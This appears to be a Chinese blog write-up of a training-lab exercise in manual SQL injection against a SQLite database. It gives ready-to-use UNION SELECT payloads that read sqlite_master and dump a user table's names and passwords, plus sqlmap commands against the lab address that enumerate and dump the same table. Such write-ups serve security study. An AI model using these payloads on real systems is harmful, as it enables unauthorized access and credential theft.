墨者:SQL手工注入漏洞测试(SQLite数据库)

发布于:2025-07-30 ⋅ 阅读:(19) ⋅ 点赞:(0)

1. 墨者学院:SQL手工注入漏洞测试(SQLite数据库)🚀

2. SQLite数据库注入特点🔍

SQLite数据库和MySQL数据库语法不同,不能直接套用MySQL的注入方式。但SQLite有个特殊的数据库sqlite_master,它存储了所有表结构信息,我们可以利用它进行注入测试。sqlite_master 表的结构是固定的,它至少包含以下字段:

字段名 数据类型 描述
type TEXT 对象类型(tableindexviewtrigger
name TEXT 表名、索引名、视图名等
tbl_name TEXT 所属表名(对索引和触发器有用)
rootpage INTEGER 在数据库文件中的存储位置
sql TEXT 创建该对象的 SQL 语句

所有标准的 SQLite 数据库都会包含 namesql 字段,因为它们是 SQLite 引擎用来存储数据库结构的核心字段。


3. 手工注入测试🎯

测试目标URL:http://124.70.71.251:43066/new_list.php?

3.1 判断字段数⚡

id=1 order by 5

在这里插入图片描述

3.2 判断显示位⚡

id=1 union select 1,2,3,4

!https://via.placeholder.com/600x400?text=union+select+1,2,3,4+截图

3.3 获取所有表名⚡

id=1 union select 1,2,group_concat(name),4 from sqlite_master

!https://via.placeholder.com/600x400?text=获取所有表名截图

3.4 获取WSTMart_reg表结构⚡

id=1 union select 1,2,sql,4 from sqlite_master where name='WSTMart_reg'

!https://via.placeholder.com/600x400?text=获取表结构截图

3.5 获取WSTMart_reg表数据⚡

id=1 union select 1,group_concat(name),group_concat(password),4 from WSTMart_reg

!https://via.placeholder.com/600x400?text=获取表数据截图

4. sqlmap自动化测试🎯

因为得到了数据库sqlite_master,sqlmap就可以接着爆破,省去手动测试

4.1 枚举sqlite_master中的表⚡

python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master --tables --batch

!https://via.placeholder.com/600x400?text=枚举表截图

4.2 枚举WSTMart_reg表的列⚡

python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg --columns --batch

!https://via.placeholder.com/600x400?text=枚举列截图

4.3 导出WSTMart_reg表数据⚡

python sqlmap.py -u "http://124.70.71.251:43066/new_list.php?id=1" -D sqlite_master -T WSTMart_reg -C id,name,password,status --dump --batch

!https://via.placeholder.com/600x400?text=导出数据截图

4.4 清理缓存⚡

python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

5. 总结🏁

  1. SQLite注入与MySQL注入方式不同,但通过sqlite_master系统表可以获取数据库结构
  2. 手工注入步骤:判断字段数→确定显示位→获取表名→获取表结构→获取数据
  3. sqlmap可以自动化完成整个注入过程,效率更高

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗


网站公告

今日签到

点亮在社区的每一天
去签到